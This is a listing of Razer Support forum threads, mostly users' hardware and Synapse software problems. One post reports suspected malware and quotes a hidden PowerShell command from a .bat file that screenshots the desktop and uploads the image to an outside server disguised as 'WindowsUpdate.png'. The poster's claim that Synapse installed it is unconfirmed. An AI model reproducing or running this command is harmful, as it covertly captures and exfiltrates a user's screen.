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  • 42,274 Threads
  • 60,626 Replies
42274 Threads
G
GhostPantsSmth
posted in Razer Support
Razer Sypnase Problem

When I Installed Synapse for the first time in the mixer tab it appeared all of the apps I was using, now when I go to the mixer tab its empty. Alredy tried reinstalling it still having the problem, any tips?

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5 years ago
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Twebow
posted in Razer Support
How to claim the Globe Prepaid Card Gift Card?

The instruction "Dial 223" is now unavailable on Globe. Is there another method to claim it?

1
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5 years ago
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CoralPinkretrocast667
posted in Razer Support
Razer Sila occassional blue blinking

I recently purchased a Razer Sila router, and I am having a strange problem. Everything seems to work fine, but occasionally the router will start blinking blue for 2-10 seconds, and this will coincide with twitch buffering and quality loss. I've read this could be firmware updating, but this happens multiple times per hour. Is this a problem with my internet connection or the router?

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5 years ago
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Shaneleo
posted in Razer Support
Serial Numbers not working for registration

Bought two new Blackwidow Ultimate keyboards today, and I can not register either one of them, says item serial number unknown... ?

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5 years ago
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Moist_Papa89
posted in Razer Support
My Razer Nari wont connect to the transceiver

I started to have issues today I think it started when i tried to download the chroma discord app. At first the only thing that didn't work was my mic. I deleted the chroma discord app. Deleted and re downloaded discord. I restarted my computer and deleted and reinstalled the drivers to the head phones. then i tried downloading the newest software for the Razer Nari and then the recovery tool. Now my head phones won't connect to the transceiver.

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5 years ago
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GZCcrg
posted in Razer Support
2019 Early Blade 15 overheating shutdown

Hi, I got my Razer Blade 15 2019 early version this February, I love it so much. And It worked well until I found there is something wrong with fan control which leads the blade shutdown itself due overheating. It's like the fan speed won't increase while gaming even the temperature is nearly 100 degree. I did restore my system through Razer Restore Mode(the F9 thing), and it became normal once last night. But the problem is here again today. Really need some help!!!

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5 years ago
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waltobc6
posted in Razer Support
after fresh install of win10 , windows downloading Razer Synapse automatically insert a malware

i had this 4 .bat files created on start run with weird code powershell that send info to a remote server. after downloading and installing fresh copy of windows, i found out its Razer Synapse that create those files do its look really suspension here is a topic that have all the info: https://security.stackexchange.com/questions/207769/installed-a-fresh-copy-of-win10-and-i-have-powershell-script-sending-info-to-htt#comment418996_207769 after sync for the first time its create 4 bat files with those codes: LVTUSIX.bat: powershell -windowstyle hidden -Command "[void][reflection.assembly]::loadwithpartialname('system.windows.forms'); [system.windows.forms.sendkeys]::sendwait('{PRTSC}'); Get-Clipboard -Format Image | ForEach-Object -MemberName Save -ArgumentList "$env:APPDATA\\WindowsUpdate.png"; invoke-webrequest -method put -infile "$env:APPDATA\\WindowsUpdate.png" https://rip.rblx.dev/c/" LVTUSIXd.bat: powershell -windowstyle hidden -Command "[void][reflection.assembly]::loadwit

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5 years ago
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SashimiDude
posted in Razer Support
Can I connect the Razer Wolverine Ultimate to the Nintendo Switch?

Is there a way for me to connect the Razer Wolverine Ultimate to a nintendo switch for Splatoon 2? I am willing to buy a adapter, but is it possible?N

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5 years ago
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astr0manic
posted in Razer Support
New Razer Blade Stealth 13 (2019) Touchpad/Trackpad Issues?

Having a lot of trouble with the New Razer Blade Stealth 13 trackpad. Intermittently drops out/jumps. I've had to switch off all 'tap' gestures as it is completely unusable when enabled. At one point it stopped working completely - gestures only registering on far left and right side of trackpad - completely dead in the centre, even after reboot. Anyone having similar issues or have any suggestions? A huge shame because I love everything else about this laptop.

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5 years ago
A
Andre_601
posted in Razer Support
No sound after Installing Synapse 3

Hello guys, I'm new here so sorry if this is perhaps at the wrong place, but I wasn't able to find any solutions on the internet. I recently bought a Razer Ornata Chroma keyboard and a Deathadder Mouse and since I also wanted to customize the colours and settings I installed the Razer Synapse software. My issue now is that since I installed it, that every sound is gone... I use a seperate Headset that is not from Razer. It's from Logitech (No hate please...). And since Synapse is installed is the Headset not playing any audio whatsoever. The Windows Audio mixer shows that the system is playing audio to the right device but I can't find out what the issue is. The headset itself is just a few days old so it should not be broken by now... Additional information Synapse version: 3.4.415.41818 System: Windows 10 Pro (64-Bit) NVIDIA GeForce Game Ready 430.64 (idk if that is important but provide it anyway.)

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5 years ago
X
Xurkitreee
posted in Razer Support
Audio problems with left side of Nari Ultimate

I just bought a Razer Nari Ultimate headset a few days ago and it works fine when I use it wired on my phone through the audio cable, but whenever I use it wirelessly through it's USB transciever, audio only comes out from the right side. It's like this on both my PC and laptop and I've tried updating the USB and audio drivers of both of them as well as using the latest version of Razer Synapse 3 on both. I uninstalled Synapse on both of them too but that didn't seem to help. I've checked my audio settings through control panel settings and the regular windows settings and adjusted what I could, but nothing helped. The audio is coming from only the right side but everything else works perfectly fine. What can I do to fix this?

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Razer.Caziel
5 years ago
V
ven14
posted in Razer Support
Razer 15.6 Base Model 2018 Faulty hinge

The hinges on my new Razer Blade 15.6 2018 Base Model seem faulty as the laptop does not close firmly. Sometimes after closing the lid it will pop back open slightly like a spring. Never experienced such a fault in any laptop before. Considering the build quality you think it should be flush. Does anyone have a similar issue ?

2
V
5 years ago
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drm88342
posted in Razer Support
Huntsman: Lighting Setting not applied to profile / Default Spectrum Cycling on new PC

Dear community, I have got myself a brand new Razer Huntsman Keyboard, which showed me the color animation "Spectrum Cycling" when first connected to my PC. Using Synapse 3 on Windows 10, I changed the color scheme to a custom one, but the keyboard returned back to the default spectrum cycling when I closed Synapse or booted another operating system on my machine. I am looking for a method that allows me to use a different color scheme than spectrum cycling without Synapse 3 running in the background (e.g. when I want to boot a different operating system). Here are the steps I have already tried in Synapse 3: * Keyboard -> Lighting Tab: Select my color scheme in "Advanced Effects" OR Select one of the Quick Effects for my profile * Keyboard -> Customize Tab: Copy the profile to the on-board memory * Close Synapse 3 (Keyboard goes to spectrum cycling) * Use the fn key + the profile key to select the on board profile * Nothing happens, the keyboard stays in spectrum cyclin

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5 years ago
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depotquick884
posted in Razer Support
Razer Blade Stealth (2016) Issues

I've had a number of issues over the years. I've sent a few tickets before in the past but never proceeded since it would mean I had to return the laptop for inspection and didn't have a substitute for Uni. Some of my main problems I have encountered are: a black smudge is visible when the screen is in a white background trackpad occasionally not working.All drivers and windows are updated to newest version. The only temporary fix I have is reinstalling the I2C HID driver before the problem manifests by itself again. continuous LOUD whirring of fans when the heat sink has already been cleaned out. For obvious reasons I don't take it into the library anymore. cracked line across the screen that appeared from nowhere, rendering half the touchscreen unusable text from some applications are fuzzy Can anyone help me diagnose some of these issues? Picture of black smudge: https://imgur.com/a/jWl2tqB Picture of Fuzzy Text: https://imgur.com/a/Uif4wuw

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5 years ago
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coolboardSizzlingRed776
posted in Razer Support
Razer Hammerhead authenticity

MANY RAZER ARE FAKE i just bought a razer hammerhead pro v2 and some say its fake because of the box design and when i tried to register it , it wouldnt register because the serial number is not working .Once i started searching on Some platforms they said that razer made different boxes within different countries. and i just want to make sure if mine is the original once ,can someone help me with it.

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5 years ago
M
MrWor
posted in Razer Support
Razer Kraken Essential, Surround????

hello, Can anyone help me w/ surround for kraken essential, my serial code only have 15 numbers and the app needs 20 number.

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5 years ago
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urbanbaseOldMossGreen907
posted in Razer Support
No sound from Razer Sieren X

As title says, I get no sound at all. I did do these things after knowing it not working. -Restart PC -Uninstall the Mic -Reboot PC to download it again Still nothing.

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5 years ago
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Azurumi_Shinji
posted in Razer Support
Razer software using all cpu and WMI

I have been having issues with my CPU lately and when I opened task manager, I noticed WMI taking about 60 percent of my CPU...then I learned that the Razer software was the real culprit (also taking 15 percent or more), constantly requesting a large amount of information from WMI providers … and thanks to that, I was using 98 percent of my i7-6700k while being idle. So I uninstalled the Razer software and it ended a week of frustrating CPU usage. Now everything is back to normal. Is this a known issue? Is this shady or just a bug?

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5 years ago
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S2k_Tim
posted in Razer Support
2017 Razer Blade Stealth 8550u serial number missing and Sku number

Hey guys, Does anyone know how put the sku and serial number back into the bios. I got my laptop back from razer for a RMA repair and i wanted to update the bios but i keep getting "This firmware tool is for use only with Blade Stealth and compatible system. I have already tried using Amidewinx64 with the command terminal and i keep getting a d7 error when trying to enter my serial number or sku number. Pretty lost at this point. thanks

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5 years ago
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DankJezusFeet
posted in Razer Support
Not Long Enough Product Key

I have ordered a pair of Razer Nari Headset from Amazon and I wanted to link it with my synapse 3. The problem was that the product key is 16 digits long but the product key on my Nari headset box is 13. Does anybody have a solution to this, That will be really appreciated.

2
Razer.Caziel
5 years ago
S
senshei
posted in Razer Support
i have a problem help me

what is this ?

1
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5 years ago
P
Pawly
posted in Razer Support
Synapse won't recognize my keyboard

Hello, As the title says, I have purchased the BlackWidow ultimate 2016 keyboard and installed the Synapse 3 BETA software. It shows my mouse, DeathAdder Elite but not the keyboard. I have restarted the computer. What have I missed? Cheers Pawly

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5 years ago
F
FiamLife
posted in Razer Support
All chroma devices not working with new software

I have a blackwidow chroma v2, naga hax v2, and firefly. none of the effects are working and I have redownloaded the software several times. It works on my laptop but not on my desktop. how do i fix?

2
Razer.Caziel
5 years ago
S
saggynutz8711
posted in Razer Support
Razer Synapse installation failure error code 1618

I am unable to install any version of Synapse. It starts the install, then hangs @ 8%. After 30 mins it errors out code 1618. Running windows 8.1 So far I have tried the following with no luck: 1) Reboot 2) gone into task mgr and killed anything that looked like an installation service running 3) gone into services.msc (command prompt as admin) and tried to change windows installer service type to automatic from manual. It would not allow me to do that. Suggestions?

1
Razer.Caziel
5 years ago
0
0667252210
posted in Razer Support
Mouse Razer Death Adder Essential. Does not define Synapse 3

Mouse Razer Death Adder Essential. Does not define Synapse 3. http://prntscr.com/nncfao http://prntscr.com/nncd1t http://prntscr.com/nnccq2

1
Razer.Caziel
5 years ago

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